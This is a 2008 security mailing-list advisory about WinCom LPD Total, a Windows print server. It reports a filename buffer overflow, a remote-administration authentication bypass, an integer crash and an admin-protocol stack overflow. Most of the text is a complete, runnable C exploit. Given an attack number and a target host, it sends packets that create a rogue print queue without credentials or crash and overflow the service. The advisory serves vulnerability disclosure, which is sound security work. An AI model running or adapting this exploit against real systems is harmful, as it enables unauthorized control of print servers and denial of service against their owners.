[NT] WinCom LPD Total Multiple Vulnerabilities
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 5 Feb 2008 08:33:41 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
WinCom LPD Total Multiple Vulnerabilities
------------------------------------------------------------------------
SUMMARY
<http://clientsoftware.com.au/lpd.html> WinCom LPD Total (wincomlpd) is
"a commercial line printer daemon for Windows". Multiple vulnerabilities
have been discovered in WinCom LPD Total, these allow a remote attacker to
overflow a buffer in control filename, bypass the administration
mechanism, trigger an integer memcpy crash and buffer overflow the remote
administration mechanism.
DETAILS
Vulnerable Systems:
* WinCom LPD Total version 3.0.2.623 and prior
Buffer-overflow in control filename
wincomlpd is affected by a buffer-overflow vulnerability exploitable
during the building of an error string caused by the impossibility of
creating the file specified by the client.
The queues of remote printers are not affected by the problem.
Remote administration bypassing
The administration service which runs on port 13500 is used by the local
and remote admins for managing the wincomlpd server.
The problem here is very simple: the authentication method used by the
program is practically non-existent. In short an attacker can manage the
wincomlpd server without knowing the admin username and password but
simply skipping the authentication stage.
This bug can be exploited in at least two ways: writing an alternative
client (the protocol is enough simple so it's not a problem) or just
modifying the admin client program (LPDAdmin.exe).
Integer memcpy crash in remote administration
The 8 and 16 bit values used in the remote administration protocol for
specifying respectively the length of the strings (like the printer's name
to add) and the size of the data block are signed integers.
That allows an attacker to crash the remote wincomlpd service simply using
negative values like 0x80 or 0xff for the 8 bits numbers and 0x8000 or
0xffff for the data block and so on.
This bug can be also used for exploiting the subsequent vulnerability.
Buffer-overflow in remote administration
A buffer-overflow is located in the function which copies the data from
the values explained before in a stack buffer.
Naturally the criticality of the above two vulnerabilities is related to
the possibility of bypassing the authentication explained in the second
bug.
Exploit:
/*
by Luigi Auriemma - http://aluigi.org/poc/wincomalpd.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define ONESEC 1000
#define sleep Sleep
#define sleepms(x) sleep(x)
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#define ONESEC 1
#define sleepms(x) usleep(x * 1000)
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define BUFFSZ (0xffff + 64)
#define MYQUEUE "bypass"
void fgetz(u8 *data, int size, FILE *fd);
int putcc(u8 *data, int chr, int len);
int putss(u8 *data, u8 *str);
int putsx(u8 *data, u8 *str);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
attack;
u16 port;
u8 *buff,
tmp[128],
queue[64],
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Wincom LPD <= 3.0.2.623 multiple vulnerabilities "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port]\n"
"\n"
"Attacks:\n"
" 1 = buffer-overflow in control filename\n"
" 2 = remote administration bypassing\n"
" 3 = integer memcpy crash in remote administration\n"
" 4 = buffer-overflow in command 0x02 of remote
administration\n"
"\n", argv[0]);
exit(1);
}
attack = atoi(argv[1]);
switch(attack) {
case 1: port = 515; break;
case 2: port = 13500; break;
case 3: port = 13500; break;
case 4: port = 13500; break;
default: {
printf("\nError: wrong attack number (%s)\n", argv[1]);
exit(1);
} break;
}
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
buff = malloc(BUFFSZ);
if(!buff) std_err();
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
p = buff;
if(attack == 1) {
printf(
"- insert the name of the queue to use for exploiting the
bug\n"
" if you don't know what you use launch the attack 2 which
creates a new\n"
" queue called %s: ", MYQUEUE);
fgetz(queue, sizeof(queue), stdin);
len = sprintf(tmp, "\x02" "%s\n", queue);
send(sd, tmp, len, 0);
p += sprintf(p, "\x02" "%d dfA", 0); // dfA is not needed but
it's RFC compliant
p += putcc(p, 'A', 2000);
*p++ = '\n';
printf("- send long filename\n");
send(sd, buff, p - buff, 0);
send(sd, "", 1, 0); // data (none) + control delimiter
} else if(attack == 2) {
printf("- send the command for the adding of printers for
demonstrating the bug\n");
p += putxx(p, 0x65, 32);
p += putxx(p, 0, 16); // ack
p += putxx(p, 4, 8); // command
p += putxx(p, 4, 8); // command
p += putxx(p, 0, 16); // ???
p += 2; // later
p += putsx(p, MYQUEUE);
p += putsx(p, "remote_name");
p += putsx(p, "remote_host");
p += putxx(p, 515, 16);
p += putxx(p, 0, 16);
p += putsx(p, "comment");
p += putsx(p, "");
p += putsx(p, "");
p += sprintf(p, "%03d", 0); // 0 for local, 1 for remote
putxx(buff + 10, (p - (buff + 12)), 16);
send(sd, buff, p - buff, 0);
printf("- activate the new print queue \"%s\"\n", MYQUEUE);
p = buff;
p += putxx(p, 0x65, 32);
p += putxx(p, 0, 16); // ack
p += putxx(p, 0xfd, 8); // command
p += putxx(p, 0x03, 8); // command
p += putxx(p, 0, 16); // ???
p += 2; // later
p += putss(p, MYQUEUE);
putxx(buff + 10, (p - (buff + 12)), 16);
send(sd, buff, p - buff, 0);
} else if(attack == 3) {
printf("- send negative length\n");
p += putxx(p, 0x65, 32);
p += putxx(p, 0, 16); // ack
p += putxx(p, 4, 8); // command
p += putxx(p, 4, 8); // command
p += putxx(p, 0, 16); // ???
p += 2; // later (is possible to use
big values here too)
p += putsx(p,
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"); // 128 bytes = 0x80 = 0xffffff80 = 4294967168
p += putsx(p, "remote_name");
p += putsx(p, "remote_host");
p += putxx(p, 515, 16);
p += putxx(p, 0, 16);
p += putsx(p, "Remote LPD Spooler");
p += putsx(p, "");
p += putsx(p, "");
p += sprintf(p, "%03d", 1); // 0 for local, 1 for remote
putxx(buff + 10, (p - (buff + 12)), 16);
send(sd, buff, p - buff, 0);
} else if(attack == 4) {
printf("- send long command\n");
p += putxx(p, 0x65, 32);
p += putxx(p, 0, 16); // ack
p += putxx(p, 0, 8); // command
p += putxx(p, 4, 8); // command
p += putxx(p, 0, 16); // ???
p += putxx(p, 0x1fff, 16);
p += putcc(p, 'A', 0x1fff); // the first error will be in
rep movsd, but the code flow continues and 0x41414141 will be its way
send(sd, buff, p - buff, 0);
}
printf("- receive data\n");
while(!timeout(sd, 3)) {
len = recv(sd, buff, BUFFSZ, 0);
if(len <= 0) break;
}
close(sd);
free(buff);
printf("- finished\n");
return(0);
}
void fgetz(u8 *data, int size, FILE *fd) {
u8 *p;
fgets(data, size, fd);
for(p = data; *p && (*p != '\n') && (*p != '\r'); p++);
*p = 0;
}
int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
int putss(u8 *data, u8 *str) {
int len;
len = strlen(str);
memcpy(data, str, len);
return(len);
}
int putsx(u8 *data, u8 *str) {
int len;
len = strlen(str);
data[0] = len;
memcpy(data + 1, str, len);
return(1 + len);
}
int putxx(u8 *data, u32 num, int bits) {
int i,
bytes;
bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> (i << 3)) & 0xff;
}
return(bytes);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/wincomalpd-adv.txt>
http://aluigi.altervista.org/adv/wincomalpd-adv.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [NT] SAPlpd Multiple Vulnerabilities
- Next by Date: [NT] Symantec Backup Exec Remote File Upload Vulnerability
- Previous by thread: [NT] SAPlpd Multiple Vulnerabilities
- Next by thread: [NT] Symantec Backup Exec Remote File Upload Vulnerability
- Index(es):
Relevant Pages
|